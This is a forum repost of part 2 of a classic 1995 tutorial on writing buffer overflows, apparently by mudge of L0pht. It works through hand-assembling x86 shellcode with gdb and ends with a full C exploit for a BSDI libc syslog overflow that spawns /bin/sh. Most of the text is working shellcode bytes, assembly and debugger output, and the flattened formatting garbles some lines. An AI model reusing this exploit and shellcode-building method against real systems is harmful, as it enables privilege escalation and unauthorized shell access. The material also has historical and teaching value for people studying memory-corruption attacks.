openKylin论坛

 找回密码

How to write Buffer Overflows-Part2 [复制链接]

The call back will be something like:
   call   0x????  # this will point to the instruction after the jmp (ie                  # popl %esi)All put together it looks like this now:----------------------------------------------------------------------   movl   %esp,%ebp      xorl   %eax,%eax   jmp    0x????  # we don't know where yet...# -------------[main]   movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will                                    # be yet.   movl   $0x0,0xfffffffc(%ebp)   pushl  $0x0   leal   0xfffffff8(%ebp),%eax   pushl  %eax   pushl  $0x????                    # we don't know what the address will                                    # be yet.# ------------[execve]   leal   0x3b,%eax   lcall  0x7,0x0   call   0x????  # we don't know where yet...----------------------------------------------------------------------
There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions.
Since we aren't actually calling execve with a 'call' anymore here, we need to push the value in ecx onto the stack to simulate it.
# ------------[execve]   pushl  %ecx   leal   0x3b,%eax   lcall  0x7,0x0
The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].
So the whole thing looks like this (without knowing the addresses for the '/bin/sh\0' string):
   movl   %esp,%ebp    xorl   %eax,%eax # we added this   jmp    0x????    # we added this   popl   %esi      # we added this   popl   %ecx      # we added this   movl   $0x????,0xfffffff5(%ebp)   movl   $0x0,0xfffffffc(%ebp)   pushl  $0x0   leal   0xfffffffc(%ebp),%eax  # we changed this   pushl  %eax   pushl  $0x????   leal   0x3b,%eax   pushl  %ecx       # we added this   lcall  0x7,0x0   call   0x????     # we added this
To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program.
   bash$ gdb execute   (gdb) disassemble main   Dump of assembler code for function main:   to 0x10bc:   0x108c :  pushl  %ebp   0x108d :        movl   %esp,%ebp   0x108f :        subl   $0x8,%esp   0x1092 :        movl   $0x1080,0xfffffff8(%ebp)   0x1099 :       movl   $0x0,0xfffffffc(%ebp)   0x10a0 :       pushl  $0x0   0x10a2 :       leal   0xfffffff8(%ebp),%eax   0x10a5 :       pushl  %eax   0x10a6 :       pushl  $0x1083   0x10ab :       call   0x10bc    0x10b0 :       leave     0x10b1 :       ret       0x10b2 :       addb   %al,(%eax)   0x10b4 :       jmp    0x1144    0x10b9 :       addb   %al,(%eax)   0x10bb :       addb   %cl,0x3b05(%ebp)   End of assembler dump.[get out your scratch paper for this one... ]   0x108d :        movl   %esp,%ebp   this goes from 0x108d to 0x108e. 0x108f starts the next instruction.   thus we can see the machine code with gdb like this.   (gdb) x/2bx 0x108d   0x108d :  0x89  0xe5
Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execve. Of course you will eventually need to put in the proper address.
When I work this out I break down the whole program so I can see what's going on. Something like the following
   0x108c :  pushl  %ebp   0x108d :        movl   %esp,%ebp   0x108f :        subl   $0x8,%esp   (gdb) x/bx 0x108c   0x108c :  0x55   (gdb) x/bx 0x108d   0x108d :  0x89   (gdb) x/bx 0x108e   0x108e :  0xe5   (gdb) x/bx 0x108e   0x108f :  0x83   so we see the following from this:   0x55                pushl %ebp   0x89                movl %esp,%ebp   0xe5   0x83                subl $0x8,%esp   etc. etc. etc.
For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs.
----pop.c-------void main() {__asm__("popl %esi\n");}---end pop.c----   bash$ gcc -g pop.c -o pop   bash$ gdb pop   (gdb) disassemble main    Dump of assembler code for function main:   to 0x1088:   0x1080 :  pushl  %ebp   0x1081 :        movl   %esp,%ebp   0x1083 :        popl   %esi   0x1084 :        leave     0x1085 :        ret       0x1086 :        addb   %al,(%eax)   End of assembler dump.   (gdb) x/bx 0x1083   0x1083 :  0x5e
So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the jmp's and call's... just so long as we have the right amount of space being taken up by the jmp and call instructions... likewise for the movl's where we will need to know the memory location of 'sh\0\0/bin/sh\0'.
After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.
Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call.
   (gdb) break syslog   Breakpoint 1 at 0x1463   (gdb) run   Starting program: /usr2/home/syslog/buf   Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,                         0xefbfdeac)   (gdb) disassemble 0xc73c 0xc77f           (we know it will start at 0xc73c since thats right after the         eip overflow... 0xc77f is just an educated guess as to where         it will end)   (gdb) disassemble 0xc73c 0xc77f   Dump of assembler code from 0xc73c to 0xc77f:   0xc73c :   movl   %esp,%ebp   0xc73e :   xorl   %eax,%eax   0xc740 :   jmp    0xc76b    0xc742 :   popl   %esi   0xc743 :   popl   %ecx   0xc744 :   movl   $0xc770,0xfffffff5(%ebp)   0xc74b :   movl   $0x0,0xfffffffc(%ebp)   0xc752 :   pushl  $0x0   0xc754 :   leal   0xfffffffc(%ebp),%eax   0xc757 :   pushl  %eax   0xc758 :   pushl  $0xc773   0xc75d :   leal   0x3b,%eax   0xc763 :   pushl  %ecx   0xc764 :   lcall  0x7,0x0   0xc76b :   call   0xc742    0xc770 :   jae    0xc7da    0xc772 :   addb   %ch,(%edi)   0xc774 :   boundl 0x6e(%ecx),%ebp   0xc777 :   das       0xc778 :   jae    0xc7e2    0xc77a :   addb   %al,(%eax)   0xc77c :   addb   %al,(%eax)   0xc77e :   addb   %al,(%eax)   End of assembler dump.
Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp' near the beginning. Our data should be right after it and indeed we see that it is.
   (gdb) x/13bc 0xc770   0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'                            98 'b'  105 'i'  110 'n'  47 '/'   0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'
Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug.
   bash$ buf   $ exit (do whatever here... you spawned a shell!!!!!! yay!)   bash$
Here's my original program with lot's of comments:
/*****************************************************************//* For BSDI running on Intel architecture -mudge, 10/19/95       *//* by following the above document you should be able to write   *//* buffer overflows for other OS's on other architectures now    *//* mudge@l0pht.com                                               *//*                                                               *//* note: I haven't cleaned this up yet... it could be much nicer *//*****************************************************************/#include char buffer[4028];void main () {   int i;  for(i=0; i<2024; i++)    buffer=0x90;  /* should set eip to 0xc73c */    buffer[2024]=0x3c;    buffer[2025]=0xc7;     buffer[2026]=0x00;     buffer[2027]=0x00;   i=2028;/* begin actuall program */    buffer[i++]=0x89; /* movl %esp, %ebp */    buffer[i++]=0xe5;    buffer[i++]=0x33; /* xorl %eax,%eax */    buffer[i++]=0xc0;    buffer[i++]=0xeb; /* jmp ahead  */    buffer[i++]=0x29;    buffer[i++]=0x5e; /* popl %esi       */    buffer[i++]=0x59; /* popl %ecx        */    buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */    buffer[i++]=0x45;    buffer[i++]=0xf5;    buffer[i++]=0x70;    buffer[i++]=0xc7;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */    buffer[i++]=0x45;    buffer[i++]=0xfc;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x6a; /* pushl $0x0 */    buffer[i++]=0x00;#ifdef z_out    buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */    buffer[i++]=0x45;    buffer[i++]=0xf8;#endif/* the above is what the disassembly of execute does... but we only   want to push /bin/sh to be executed... it looks like this leal   puts into eax the address where the arguments are going to be   passed. By pointing to 0xfffffffc(%ebp) we point to a null    and don't care about the args... could probably just load up   the first section movl $0x0,0xfffffff8(%ebp) with a null and   left this part the way it want's to be */    buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */    buffer[i++]=0x45;     buffer[i++]=0xfc;    buffer[i++]=0x50; /* pushl %eax */    buffer[i++]=0x68; /* pushl $0xc773 */    buffer[i++]=0x73;    buffer[i++]=0xc7;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x8d; /* lea 0x3b,%eax */    buffer[i++]=0x05;    buffer[i++]=0x3b;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x51; /* pushl %ecx */    buffer[i++]=0x9a; /* lcall 0x7,0x0 */    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x00;    buffer[i++]=0x07;    buffer[i++]=0x00;    buffer[i++]=0xe8; /* call back to ??? */    buffer[i++]=0xd2;     buffer[i++]=0xff;    buffer[i++]=0xff;    buffer[i++]=0xff;    buffer[i++]='s';    buffer[i++]='h';    buffer[i++]=0x00;    buffer[i++]='/';    buffer[i++]='b';    buffer[i++]='i';    buffer[i++]='n';    buffer[i++]='/';    buffer[i++]='s';    buffer[i++]='h';    buffer[i++]=0x00;    buffer[i++]=0x00;    syslog(LOG_ERR, buffer);}

楼主
发表于 2013-4-15 22:45:54
回复

使用道具 举报

openKylin

GMT+8, 2024-5-3 01:23 , Processed in 0.029301 second(s), 17 queries , Gzip On.

Copyright ©2022 openKylin. All Rights Reserved .

ICP No. 15002470-12 Tianjin

快速回复 返回顶部 返回列表